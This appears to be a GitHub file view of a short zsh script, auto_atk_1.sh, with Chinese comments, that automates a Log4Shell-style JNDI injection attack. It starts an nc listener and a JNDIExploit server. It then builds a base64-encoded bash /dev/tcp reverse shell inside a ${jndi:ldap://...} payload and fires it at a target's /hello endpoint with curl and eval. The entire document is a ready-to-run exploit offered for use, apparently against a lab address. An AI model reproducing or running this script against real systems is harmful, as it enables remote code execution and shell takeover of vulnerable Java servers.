-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathauto_atk_1.sh
More file actions
46 lines (34 loc) · 1.34 KB
/
auto_atk_1.sh
File metadata and controls
46 lines (34 loc) · 1.34 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/bin/zsh
# 配置变量
ATTACKER_IP="192.168.182.130"
ATTACKER_PORT="7777"
TARGET_IP="192.168.182.129"
JNDI_EXPLOIT_PATH="/path/to/JNDIExploit-1.2-SNAPSHOT.jar"
# 提示用户输入目标端口
read "TARGET_PORT?Enter the target port: "
# 检查目标端口是否为空
if [[ -z "$TARGET_PORT" ]]; then
echo "Error: Target port cannot be empty"
exit 1
fi
echo "Using target port: $TARGET_PORT"
# 创建新的 tmux 会话,用于 nc 监听
tmux new-session -d -s nc_listener "nc -l -p $ATTACKER_PORT"
# 创建新的 tmux 会话,用于启动 JNDIExploit
tmux new-session -d -s jndi_exploit "java -jar $JNDI_EXPLOIT_PATH -i $TARGET_IP"
# 构建 payload
SHELL_COMMAND="bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1"
BASE64_PAYLOAD=$(echo -n "$SHELL_COMMAND" | base64 -w 0 | sed 's/+/%2B/g' | sed 's/=/%3d/g')
TARGET_URL="http://$TARGET_IP:$TARGET_PORT/hello"
FULL_PAYLOAD="\${jndi:ldap://$ATTACKER_IP:1389/TomcatBypass/Command/Base64/${BASE64_PAYLOAD}}"
URL_FULL_PAYLOAD=$(echo ${FULL_PAYLOAD} | xxd -plain | tr -d '\n' | sed 's/\(..\)/%\1/g')
# 构建 curl 命令
CURL_COMMAND="curl \"${TARGET_URL}?payload=${URL_FULL_PAYLOAD}\""
# 输出 payload
echo "Sending payload with the following curl command:"
echo $CURL_COMMAND
# 等待1s
sleep 1
# 发送payload
eval $CURL_COMMAND
echo "Attack deployed. Waiting for reverse shell connection..."